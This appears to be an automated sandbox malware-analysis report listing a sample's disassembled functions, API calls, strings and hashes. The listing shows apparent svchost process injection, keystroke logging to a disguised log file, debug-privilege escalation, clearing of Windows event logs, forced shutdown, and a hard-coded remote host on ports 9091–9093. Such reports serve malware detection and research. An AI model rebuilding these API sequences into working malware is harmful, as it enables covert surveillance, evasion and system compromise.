API ID: Thread_memset$ContextProcess$AllocAttributesCreateDirectoryFileMemoryResumeSystemVirtualWrite_vswprintf_s
String ID: %s%s$D$Windows\SysWOW64\svchost.exe$Windows\System32\svchost.exe
API String ID: 2170139861-2473635271
Opcode ID: 7dd6ff1adc4ff097031c780e1edfc07c21d5145ea471f64cfa42c1c9fe6eeaa5
Instruction ID: 5789274023d1f89807f03c518ddabab89409fc09c940ed19d827a62a0f2d873c
Opcode Fuzzy Hash: 7dd6ff1adc4ff097031c780e1edfc07c21d5145ea471f64cfa42c1c9fe6eeaa5
Instruction Fuzzy Hash: 804183B1E402586BEB21DB60EC85FDEB7BDEB54700F1041D9B609A62C0DAB06E84CF64

Function 02D0E4F0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 143synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,02D30D80,76F8E010,76F92FA0,76F90F00,?,02D06028,?,?), ref: 02D0E519
lstrcatW.KERNEL32(02D30D80,\DisplaySessionContainers.log,?,02D06028,?,?), ref: 02D0E529
CreateMutexW.KERNEL32(00000000,00000000,02D30D80,?,02D06028,?,?), ref: 02D0E538
WaitForSingleObject.KERNEL32(00000000,000000FF,?,02D06028,?,?), ref: 02D0E546
CreateFileW.KERNEL32(02D30D80,40000000,00000002,00000000,00000004,00000080,00000000,?,02D06028,?,?), ref: 02D0E563
GetFileSize.KERNEL32(00000000,00000000,?,02D06028,?,?), ref: 02D0E56E
CloseHandle.KERNEL32(00000000,?,02D06028,?,?), ref: 02D0E577
DeleteFileW.KERNEL32(02D30D80,?,02D06028,?,?), ref: 02D0E58A
ReleaseMutex.KERNEL32(00000000,?,02D06028,?,?), ref: 02D0E597
DirectInput8Create.DINPUT8(?,00000800,02D24934,02D31220,00000000,?,02D06028,?,?), ref: 02D0E5B2
GetTickCount.KERNEL32 ref: 02D0E665
GetKeyState.USER32(00000014), ref: 02D0E672

Strings

<, xrefs: 02D0E637
\DisplaySessionContainers.log, xrefs: 02D0E51F

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CreateFile$Mutex$CloseCountDeleteDirectFolderHandleInput8ObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\DisplaySessionContainers.log
API String ID: 1095970075-1170057892
Opcode ID: ecbef3adc273da872bc016f90d0a5bc26abbd7a043d597968f74efec1649e236
Instruction ID: 8d9f3edfc3438885d88e047762fe6a18eb5cdd1ed33ffdaf27492abb98a48ebd
Opcode Fuzzy Hash: ecbef3adc273da872bc016f90d0a5bc26abbd7a043d597968f74efec1649e236
Instruction Fuzzy Hash: 5A414174B80215ABE750DFA4EC8AF9A7BA4AB48704F518948F605DB3D0C671EC15CF54

Function 02D07620 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000020,?,?,?,?,?,?,?,?,02D0DFA4), ref: 02D07637
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,02D0DFA4), ref: 02D0763E
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 02D0765A
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 02D07677
CloseHandle.KERNEL32(?), ref: 02D07681
GetModuleHandleA.KERNEL32(NtDll.dll,NtSetInformationProcess,?,?,?,?,?,?,?,02D0DFA4), ref: 02D07691
GetProcAddress.KERNEL32(00000000), ref: 02D07698
GetCurrentProcessId.KERNEL32 ref: 02D076BA
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 02D076C7

Strings

SeDebugPrivilege, xrefs: 02D0764C
NtSetInformationProcess, xrefs: 02D07687
NtDll.dll, xrefs: 02D0768C

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Process$CurrentHandleOpenToken$AddressAdjustCloseLookupModulePrivilegePrivilegesProcValue
String ID: NtDll.dll$NtSetInformationProcess$SeDebugPrivilege
API String ID: 1802016953-1577477132
Opcode ID: e1bc6aa46d4251b8eab8e90d7fc5e9855512b3b6d49ce1d93d7aeca9549bba59
Instruction ID: 3944b9aeeed8618d3ca120a10efe3384cc3c64427425215457b73004215db7d3
Opcode Fuzzy Hash: e1bc6aa46d4251b8eab8e90d7fc5e9855512b3b6d49ce1d93d7aeca9549bba59
Instruction Fuzzy Hash: C2214F71A80318ABE720DBE4DC4AFBE7778EB58701F514509FA05AA3C0CAB45D58CBA5

Function 02D1054D Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 92memorylibraryloaderCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02D10576
GetSystemInfo.KERNEL32(?), ref: 02D1058E
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 02D1059E
GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 02D105AE
VirtualAlloc.KERNEL32(?,-00000001,00001000,00000004), ref: 02D10600
VirtualProtect.KERNEL32(?,-00000001,00000104,?), ref: 02D10615

Strings

kernel32.dll, xrefs: 02D10597
SetThreadStackGuarantee, xrefs: 02D105A8

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Virtual$AddressAllocHandleInfoModuleProcProtectQuerySystem
String ID: SetThreadStackGuarantee$kernel32.dll
API String ID: 3290314748-423161677
Opcode ID: a1f8a32df9bc29dc71a2b785a9efc40550744d4c9adeb37bbb4b62df7d3587cf
Instruction ID: 5cce00a5a6a39bbd45e6bd56f9aba014813018c66cfba5ddec8c47be892f2807
Opcode Fuzzy Hash: a1f8a32df9bc29dc71a2b785a9efc40550744d4c9adeb37bbb4b62df7d3587cf
Instruction Fuzzy Hash: 7431A771E40229BBEB20EBA0EC44AEEB7B8EF54749F150515F901E3240DB70AE48CB90

Function 02D07B70 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 02D07B89
OpenProcessToken.ADVAPI32(00000000), ref: 02D07B90
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 02D07BB6
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 02D07BCC
GetLastError.KERNEL32 ref: 02D07BD2
CloseHandle.KERNEL32(?), ref: 02D07BE0
CloseHandle.KERNEL32(?), ref: 02D07BFB

Strings

SeShutdownPrivilege, xrefs: 02D07BA2

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3435690185-3733053543
Opcode ID: d6cc3713e19fe27b542794b6d51b369aaeaf74a6f1ec23f9ac9317727016f446
Instruction ID: f65a6439671d963347aa90ba6037e2cbbbd5f001d6dae7c7fd6badc09de2b028
Opcode Fuzzy Hash: d6cc3713e19fe27b542794b6d51b369aaeaf74a6f1ec23f9ac9317727016f446
Instruction Fuzzy Hash: E0118671E802089BD720DBA4DC4AFAE7778EF54700F514959FD05A7380CA759D14CBA0

Function 02D0B3C0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 26COMMON

Download Yara Rule

APIs

OpenEventLogW.ADVAPI32(00000000,02D258BC), ref: 02D0B3E7
ClearEventLogW.ADVAPI32(00000000,00000000), ref: 02D0B3F2
CloseEventLog.ADVAPI32(00000000), ref: 02D0B3F9

Strings

Security, xrefs: 02D0B3CE
System, xrefs: 02D0B3D6
Application, xrefs: 02D0B3C6

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Event$ClearCloseOpen
String ID: Application$Security$System
API String ID: 1391105993-2169399579
Opcode ID: 927c08153c7e71dffe45d7fbeb67ed4145a60e8d802e6ae889f65b1cc5f4c7b4
Instruction ID: 9490494436d885f0ef73e4054ca412577d92fea366d74ece6cb7ee4a114eea0e
Opcode Fuzzy Hash: 927c08153c7e71dffe45d7fbeb67ed4145a60e8d802e6ae889f65b1cc5f4c7b4
Instruction Fuzzy Hash: 92E0E532B0522047C2258B15A988B1FF7E0FBE831DF61064AF94896354C6708D198B99

Function 0282660F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 028266A0
swprintf.LIBCMT ref: 028266F8
swprintf.LIBCMT ref: 0282670B

Strings

:, xrefs: 0282663F
@, xrefs: 028266AC

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: swprintf$_memset
String ID: :$@
API String ID: 1292703666-1367939426
Opcode ID: 3d5004218d91dc4100e046b41ba34f0424eaff1e0d9aac26d7e5b183c8120afd
Instruction ID: a60a8420964c09278279a69aef08f9260c3996a017a718bc62df980ecb1d95e4
Opcode Fuzzy Hash: 3d5004218d91dc4100e046b41ba34f0424eaff1e0d9aac26d7e5b183c8120afd
Instruction Fuzzy Hash: 223152B6D0021CABDB14CFE9CC85FEEB7B9FB48300F50421DE90AA7241E6746945CB94

Function 03FAAF0B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03FAAF9C
swprintf.LIBCMT ref: 03FAAFF4
swprintf.LIBCMT ref: 03FAB007

Strings

@, xrefs: 03FAAFA8
:, xrefs: 03FAAF3B

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: swprintf$_memset
String ID: :$@
API String ID: 1292703666-1367939426
Opcode ID: 3d5004218d91dc4100e046b41ba34f0424eaff1e0d9aac26d7e5b183c8120afd
Instruction ID: 433559550cc6b730c5c373a8b10870f03729fa8d88ba7693e8a1ddb01d0acd27
Opcode Fuzzy Hash: 3d5004218d91dc4100e046b41ba34f0424eaff1e0d9aac26d7e5b183c8120afd
Instruction Fuzzy Hash: B73130B6D0021CABDB14DFE5CC85FEEB7B9FB48300F50821DE91AA7245E6746905CB94

Function 02D07740 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,?,02D078FC), ref: 02D07756
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,02D078FC,?,?,?,?,?,?,76F90630), ref: 02D0775D
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 02D07785
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 02D077B9

Strings

SeDebugPrivilege, xrefs: 02D0777E

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 2349140579-2896544425
Opcode ID: 3d6e71c0a9499579a7c545abedf33d8913bbfc1ee5abdec3201daecd4449e6ed
Instruction ID: 46384545f369de81eaafba580d731601552e8068a5a5f72c9bb71824b3dba37a
Opcode Fuzzy Hash: 3d6e71c0a9499579a7c545abedf33d8913bbfc1ee5abdec3201daecd4449e6ed
Instruction Fuzzy Hash: 99118270F40208ABEB14CFE4D949FAEB7B4EB58704F208558F905AB3C0DA74A908CB60

Function 02D0F00A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 02D1131C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 02D11331
UnhandledExceptionFilter.KERNEL32(02D225B8), ref: 02D1133C
GetCurrentProcess.KERNEL32(C0000409), ref: 02D11358
TerminateProcess.KERNEL32(00000000), ref: 02D1135F

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4473d149b15df6103430fba789e42b054a7068b680ba82f61b8fb00446ab5022
Instruction ID: ad967e6bd707c3099400ddbd5f34643d619c0cc1199e907d32c966b3cae7124f
Opcode Fuzzy Hash: 4473d149b15df6103430fba789e42b054a7068b680ba82f61b8fb00446ab5022
Instruction Fuzzy Hash: A921E4B5C84300DFD764DF29F188A443BB0BB68710F526C1AE90882B90DB715DA8DF65

Function 00976815 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0097793D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00977952
UnhandledExceptionFilter.KERNEL32(00985350), ref: 0097795D
GetCurrentProcess.KERNEL32(C0000409), ref: 00977979
TerminateProcess.KERNEL32(00000000), ref: 00977980

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: ff4865731b6c7e501e33fd0115246c6003a2c34bceeea123202fa20362be66fa
Instruction ID: 62972c1bb58a2405cfc9b0707e50c114ec745767bc8e4562ec371860310db965
Opcode Fuzzy Hash: ff4865731b6c7e501e33fd0115246c6003a2c34bceeea123202fa20362be66fa
Instruction Fuzzy Hash: 5A21E2B583C200DFE701DF6AFD496583BA5FB08754F44501BE58987360EBB89984EF02

Function 02D0B463 Relevance: 1.5, APIs: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 02D07B70: GetCurrentProcess.KERNEL32(00000028,?), ref: 02D07B89
Part of subcall function 02D07B70: OpenProcessToken.ADVAPI32(00000000), ref: 02D07B90
Part of subcall function 02D07B70: LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 02D07BB6
Part of subcall function 02D07B70: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 02D07BCC
Part of subcall function 02D07B70: GetLastError.KERNEL32 ref: 02D07BD2
Part of subcall function 02D07B70: CloseHandle.KERNEL32(?), ref: 02D07BE0

ExitWindowsEx.USER32(00000005,00000000), ref: 02D0B471

Part of subcall function 02D07B70: CloseHandle.KERNEL32(?), ref: 02D07BFB

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: 22c935f8f0492920b6ae4717bd32cffcd332ee05ee3803e0b4884722ceac27a6
Instruction ID: 4774fee989572520f166aa6b370e4e4d2cdff200d76e52c36c59cada48c23586
Opcode Fuzzy Hash: 22c935f8f0492920b6ae4717bd32cffcd332ee05ee3803e0b4884722ceac27a6
Instruction Fuzzy Hash: 1AC08C3238010002E22432B47866B6AF341DB94322F01042FAB0E8C2D00C52ACA489B6

Function 02D0B41B Relevance: 1.5, APIs: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 02D07B70: GetCurrentProcess.KERNEL32(00000028,?), ref: 02D07B89
Part of subcall function 02D07B70: OpenProcessToken.ADVAPI32(00000000), ref: 02D07B90
Part of subcall function 02D07B70: LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 02D07BB6
Part of subcall function 02D07B70: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 02D07BCC
Part of subcall function 02D07B70: GetLastError.KERNEL32 ref: 02D07BD2
Part of subcall function 02D07B70: CloseHandle.KERNEL32(?), ref: 02D07BE0

ExitWindowsEx.USER32(00000004,00000000), ref: 02D0B429

Part of subcall function 02D07B70: CloseHandle.KERNEL32(?), ref: 02D07BFB

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: 70a326e440a774401d790389530aea1758caa5e78f6ce6af221ecf998542b6dd
Instruction ID: 6cd5b449536373880b5f0cdd04caa185a99c64d4a76ebc91112c79f965ca83ac
Opcode Fuzzy Hash: 70a326e440a774401d790389530aea1758caa5e78f6ce6af221ecf998542b6dd
Instruction Fuzzy Hash: 69C08C3238010006E22433B47866B69F341DB94322F00042BAB0E8C2D00C62ACA485BA

Function 02D0B43F Relevance: 1.5, APIs: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 02D07B70: GetCurrentProcess.KERNEL32(00000028,?), ref: 02D07B89
Part of subcall function 02D07B70: OpenProcessToken.ADVAPI32(00000000), ref: 02D07B90
Part of subcall function 02D07B70: LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 02D07BB6
Part of subcall function 02D07B70: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 02D07BCC
Part of subcall function 02D07B70: GetLastError.KERNEL32 ref: 02D07BD2
Part of subcall function 02D07B70: CloseHandle.KERNEL32(?), ref: 02D07BE0

ExitWindowsEx.USER32(00000006,00000000), ref: 02D0B44D

Part of subcall function 02D07B70: CloseHandle.KERNEL32(?), ref: 02D07BFB

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: 265df35d8b27238a0d2bdb8eff34310ded7da8e00aab9ff70b09f8d050efe753
Instruction ID: 97d6e52a903cf6d06ad42d8f869744ab4192744d0f15e54e6c5239f85c7e4e75
Opcode Fuzzy Hash: 265df35d8b27238a0d2bdb8eff34310ded7da8e00aab9ff70b09f8d050efe753
Instruction Fuzzy Hash: 43C08C3238010002E22432B47866B6AF342DB94322F00042BAA0E8C2D00C53ACA485B6

Function 02D0B556 Relevance: 43.9, APIs: 8, Strings: 17, Instructions: 161registrysleepCOMMON

Download Yara Rule

APIs

Part of subcall function 02D0F707: _malloc.LIBCMT ref: 02D0F721

RegOpenKeyExW.ADVAPI32(80000001,Console,00000000,00000002,?), ref: 02D0B586
RegDeleteValueW.ADVAPI32(?,IpDate), ref: 02D0B596
RegSetValueExW.ADVAPI32(?,IpDate,00000000,00000003,00000002,?), ref: 02D0B5B3
_memset.LIBCMT ref: 02D0B5D4
RegCloseKey.ADVAPI32(?), ref: 02D0B61B
_memset.LIBCMT ref: 02D0B63C
RegCloseKey.ADVAPI32(?), ref: 02D0B72C
Sleep.KERNEL32(000007D0), ref: 02D0B737

Part of subcall function 02D0F707: std::exception::exception.LIBCMT ref: 02D0F756
Part of subcall function 02D0F707: std::exception::exception.LIBCMT ref: 02D0F770
Part of subcall function 02D0F707: __CxxThrowException@8.LIBCMT ref: 02D0F781

Strings

o3:, xrefs: 02D0B704
IpDate, xrefs: 02D0B590, 02D0B5AD
p2:, xrefs: 02D0B6B9
t3:, xrefs: 02D0B719
8.217.85.20, xrefs: 02D0B6B4
p3:, xrefs: 02D0B6F2
t2:, xrefs: 02D0B6E0
9092, xrefs: 02D0B6C9
Console, xrefs: 02D0B57C
9093, xrefs: 02D0B6FF
9091, xrefs: 02D0B690
8.217.85.20, xrefs: 02D0B67E
8.217.85.20, xrefs: 02D0B6ED
o1:, xrefs: 02D0B695
o2:, xrefs: 02D0B6CE
t1:, xrefs: 02D0B6A7
p1:, xrefs: 02D0B683

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CloseValue_memsetstd::exception::exception$DeleteException@8OpenSleepThrow_malloc
String ID: 8.217.85.20$8.217.85.20$8.217.85.20$9091$9092$9093$Console$IpDate$o1:$o2:$o3:$p1:$p2:$p3:$t1:$t2:$t3:
API String ID: 1186799303-1244596247
Opcode ID: 03a14f952d7bcd69362e74d37ae2b2ddeae55ed7a4339272c51b1ac55f43aac4
Instruction ID: 78751146e183d4eb260e13da3cf25df78d8a26e1789fa84706dc8dfe6ae5b8b7
Opcode Fuzzy Hash: 03a14f952d7bcd69362e74d37ae2b2ddeae55ed7a4339272c51b1ac55f43aac4
Instruction Fuzzy Hash: A441D6717803107BF224A750BC87F5AB355DF65B19F604114FA067A3C1DAE0BD1D8ABA

Function 02D14014 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,02D10FC1,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D1401C
__mtterm.LIBCMT ref: 02D14028

Part of subcall function 02D13CF1: DecodePointer.KERNEL32(00000009,02D11084,02D1106A,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D13D02
Part of subcall function 02D13CF1: TlsFree.KERNEL32(00000027,02D11084,02D1106A,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D13D1C
Part of subcall function 02D13CF1: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,02D11084,02D1106A,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D18D48
Part of subcall function 02D13CF1: _free.LIBCMT ref: 02D18D4B
Part of subcall function 02D13CF1: DeleteCriticalSection.KERNEL32(00000027,?,?,02D11084,02D1106A,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D18D72

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 02D1403E
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 02D1404B
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 02D14058
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 02D14065
TlsAlloc.KERNEL32(?,?,02D10FC1,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D140B5
TlsSetValue.KERNEL32(00000000,?,?,02D10FC1,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D140D0
__init_pointers.LIBCMT ref: 02D140DA
EncodePointer.KERNEL32(?,?,02D10FC1,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D140EB
EncodePointer.KERNEL32(?,?,02D10FC1,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D140F8
EncodePointer.KERNEL32(?,?,02D10FC1,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D14105
EncodePointer.KERNEL32(?,?,02D10FC1,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D14112
DecodePointer.KERNEL32(Function_00013E75,?,?,02D10FC1,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D14133
__calloc_crt.LIBCMT ref: 02D14148
DecodePointer.KERNEL32(00000000,?,?,02D10FC1,02D26278,00000008,02D11155,?,?,?,02D26298,0000000C,02D11210,?), ref: 02D14162
GetCurrentThreadId.KERNEL32 ref: 02D14174

Strings

FlsSetValue, xrefs: 02D1404D
FlsFree, xrefs: 02D1405A
FlsAlloc, xrefs: 02D14038
KERNEL32.DLL, xrefs: 02D14017
FlsGetValue, xrefs: 02D14040

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: 2c80309c79c3b22abc7f993f2f13c0aa55d0e6b5be5193cf56ce52bc70b19b86
Instruction ID: 0fcd32c957ebbfd4937017d6da1b88a2d43fea7ad9ff297bf93e0ce2ab4eabc6
Opcode Fuzzy Hash: 2c80309c79c3b22abc7f993f2f13c0aa55d0e6b5be5193cf56ce52bc70b19b86
Instruction Fuzzy Hash: 3A319132E84310BFEB61AF75FC086153FA5EB54766B510A1AE810D3750EB318CA5EF50

Function 00979AC6 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,009775E2,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979ACE
__mtterm.LIBCMT ref: 00979ADA

Part of subcall function 009797A5: DecodePointer.KERNEL32(00000008,009776A5,0097768B,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 009797B6
Part of subcall function 009797A5: TlsFree.KERNEL32(00000025,009776A5,0097768B,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 009797D0
Part of subcall function 009797A5: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,009776A5,0097768B,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 0097C031
Part of subcall function 009797A5: _free.LIBCMT ref: 0097C034
